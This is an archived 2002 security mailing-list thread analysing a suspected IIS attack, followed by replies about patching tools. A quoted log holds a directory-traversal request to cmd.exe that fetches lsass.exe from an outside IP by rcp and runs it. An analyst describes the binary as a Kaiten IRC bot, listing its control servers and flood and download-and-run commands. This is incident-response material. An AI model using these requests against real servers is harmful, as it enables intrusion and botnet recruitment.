Windows Update from you-know-who actually does what you describe. I'd always been leery of it, but tried it out recently when setting up a W2K test server, and it performed as advertised. It did take several iterations to get everything updated, owing to various dependencies. Regards, John Campbell, CISSP, GCWN Information Security Engineer Washington School Information Processing Cooperative (WSIPC) Everett, Washington, USA -----Original Message----- From: zeno [mailto:bugtraqat_private] Sent: Tuesday, September 24, 2002 11:29 AM To: Mark Challender Cc: 'pjat_private'; incidentsat_private Subject: Re: new IIS worm? (rcp lsass.exe) > > Hardening of IIS with the tools available at Microsoft and using > URLSCAN with the EXE blocking on will stop these attacks. > > Patch, patch, patch, recheck the patches and use URLSCAN! Does anyone know of a gui windows tool that scans your system and provides you with a list of needed patches, and then allows you to select, and have it autodownload and install them? I can't seem to find one (needed mostly for iis). - zenoat_private > > Mark Challender > Network Administrator > > ================== > Veni, Vidi, Geeki > ================== > > > -----Original Message----- > From: pjat_private [mailto:pjat_private] > Sent: Monday, September 23, 2002 3:27 AM > To: incidentsat_private > Subject: Re: new IIS worm? (rcp lsass.exe) > > > > Christian Mock: > > >Then it seems to go after the web servers, sending the following: > > >GET > /scripts/..%5c..%5cwinnt/system32/cmd.exe?/c+rcp+-b+64.21.95.7.lp:lsas > s.exe+ > . > HTTP/1.0.. > > >and > > >GET /scripts/..%5c..%5cwinnt/system32/cmd.exe?/c+lsass.exe HTTP/1.0 > > >I've been able to get hold of that lsass.exe binary (9728 bytes), but > >I lack the skills to analyze it; I'll happily mail it to anybody who > >asks. > > > We have seen this attack from 4 different sources since Sept. 16, and > have informed the owner of 64.21.95.7 and downloaded the lsass.exe for > investigation. > > Based on the attack rate this is most likely a scripted or manual > attack, not a worm. > > Judging from the embedded string in this compressed binary it > appears to be an IRC bot based on the kaiten.c code written by > contem@efnet, the author of the Slapper worm : > > Kaiten Win32 API version 2002 by contem@efnet > > The binary contains these domainnames, most likeky IRC servers used > for controlling the bot: > > telsa5.mine.nu (Korea) > irc.logicfive.net (Taiwan) > moncredo.shacknet.nu (USA) > telsacredo.shacknet.nu (USA) > lar.ath.cx (Taiwan) > > The program accepts commands to make various DOS attacks or download > new version or executables with http: > > NOTICE %s :PUSH <target> <port> <secs> = A push flooder > NOTICE %s :TCP <target> <port> <secs> = A syn flooder > NOTICE %s :UDP <target> <port> <secs> = A udp flooder > NOTICE %s :MCON <target> <port> <times> = A connectbomb flooder > NOTICE %s :NICK <nick> = Changes the nick of the client > NOTICE %s :DISABLE <pass> = Disables all packeting from this > client > NOTICE %s :ENABLE <pass> = Enables all packeting from this > client > NOTICE %s :UPDATE <http address> = Downloads a file off the web and > updates the client > NOTICE %s :RUN <http address> = Downloads a file off the web and > runs it > NOTICE %s :GET <http address> = Downloads a file off the web > NOTICE %s :ADDSERVER <server> = Adds a server to the list > NOTICE %s :DELSERVER <server> = Deletes a server from the list > NOTICE %s :LISTSERVERS = Lists server on the list > NOTICE %s :KILL = Kills the client > NOTICE %s :VERSION = Requests version of client > NOTICE %s :HELP = Displays this > > > There seems also to be a default account and password in the german > language included in this specific version of Kaiten. > > The IIS attack that tries to inject this Trojan usually has another > URL with "CONNECT chat.vtm.be:6667". This is an attempt to proxy an > connection to port 6667(IRC) on chat.vtm.be. > > > > Peter Jelver > ... > > eSec A/S > > http://www.esec.dk > ...................................................................... > ...... > . > > PGP Fingerprint : 47AF FFEC D48F 9C13 0C4F E687 BB8A 128F D85C A7D7 > > > > > > ---------------------------------------------------------------------- > ------ > This list is provided by the SecurityFocus ARIS analyzer service. > For more information on this free incident handling, management > and tracking system please see: http://aris.securityfocus.com > > ---------------------------------------------------------------------- > ------ > This list is provided by the SecurityFocus ARIS analyzer service. > For more information on this free incident handling, management > and tracking system please see: http://aris.securityfocus.com > > ------------------------------------------------------------------------ ---- This list is provided by the SecurityFocus ARIS analyzer service. For more information on this free incident handling, management and tracking system please see: http://aris.securityfocus.com ---------------------------------------------------------------------------- This list is provided by the SecurityFocus ARIS analyzer service. For more information on this free incident handling, management and tracking system please see: http://aris.securityfocus.com
This archive was generated by hypermail 2b30 : Tue Sep 24 2002 - 19:34:59 PDT